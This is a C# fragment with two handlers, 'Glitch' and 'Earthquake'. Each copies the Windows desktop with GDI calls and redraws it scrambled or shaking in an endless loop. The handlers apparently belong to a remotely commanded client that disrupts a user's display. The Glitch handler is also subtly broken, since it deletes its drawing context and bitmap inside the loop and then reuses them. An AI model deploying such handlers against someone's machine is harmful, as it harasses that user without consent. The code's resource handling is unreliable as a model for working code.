public async Task <HttpResponseMessage> InvokeAsync(GlitchCommandInfo commandInfo, TaskExecutionContext context,
CancellationToken cancellationToken)
{
var random = new Random();
ScreenUtils.Initialize(out var hwnd, out var hdc, out var rect);
if (commandInfo.MaxSize >= rect.Width)
{
commandInfo.MaxSize = rect.Width - 1;
}
if (commandInfo.MaxSize >= rect.Height)
{
commandInfo.MaxSize = rect.Height - 1;
}
try
{
var screenshot = ScreenUtils.CreateCompatibleBitmap(hdc, rect.Width, rect.Height);
var hdc2 = ScreenUtils.CreateCompatibleDC(hdc);
ScreenUtils.SelectObject(hdc2, screenshot);
while (true)
{
ScreenUtils.BitBlt(hdc2, 0, 0, rect.Width, rect.Height, hdc, 0, 0, ScreenUtils.TernaryRasterOperations.SRCCOPY);
for (var i = 0; i < commandInfo.Power; i++)
{
var width = random.Next(0, commandInfo.MaxSize + 1);
var height = random.Next(0, commandInfo.MaxSize + 1);
var x1 = random.Next(0, rect.Width - width + 1);
var y1 = random.Next(0, rect.Height - height + 1);
var x2 = random.Next(0, rect.Width - width + 1);
var y2 = random.Next(0, rect.Height - height + 1);
ScreenUtils.BitBlt(hdc2, x1, y1, width, height, hdc2, x2, y2, ScreenUtils.TernaryRasterOperations.SRCCOPY);
}
ScreenUtils.BitBlt(hdc, 0, 0, rect.Width, rect.Height, hdc2, 0, 0, ScreenUtils.TernaryRasterOperations.SRCCOPY);
ScreenUtils.DeleteDC(hdc2);
ScreenUtils.DeleteObject(screenshot);
await Task.Delay(commandInfo.Power, cancellationToken);
}
}
finally
{
ScreenUtils.ReleaseDC(hwnd, hdc);
}
}
public async Task <HttpResponseMessage> InvokeAsync(EarthquakeCommandInfo commandInfo, TaskExecutionContext context,
CancellationToken cancellationToken)
{
var random = new Random();
ScreenUtils.Initialize(out var hwnd, out var hdc, out var rect);
if (commandInfo.Power >= rect.Width)
{
commandInfo.Power = rect.Width - 1;
}
if (commandInfo.Power >= rect.Height)
{
commandInfo.Power = rect.Height - 1;
}
try
{
while (true)
{
var screenshot = ScreenUtils.CreateCompatibleBitmap(hdc, rect.Width, rect.Height);
var hdc2 = ScreenUtils.CreateCompatibleDC(hdc);
ScreenUtils.SelectObject(hdc2, screenshot);
ScreenUtils.BitBlt(hdc2, 0, 0, rect.Width, rect.Height, hdc, 0, 0, ScreenUtils.TernaryRasterOperations.SRCCOPY);
ScreenUtils.BitBlt(hdc, 0, 0, rect.Width, rect.Height, hdc2, random.Next(-commandInfo.Power / 2, commandInfo.Power / 2),
random.Next(-commandInfo.Power / 2, commandInfo.Power / 2), ScreenUtils.TernaryRasterOperations.SRCCOPY);
ScreenUtils.BitBlt(hdc, 0, 0, rect.Width, rect.Height, hdc2, 0, 0, ScreenUtils.TernaryRasterOperations.SRCCOPY);
ScreenUtils.DeleteDC(hdc2);
ScreenUtils.DeleteObject(screenshot);
await Task.Delay(commandInfo.Interval, cancellationToken);
}
}
finally
{
ScreenUtils.ReleaseDC(hwnd, hdc);
}
}
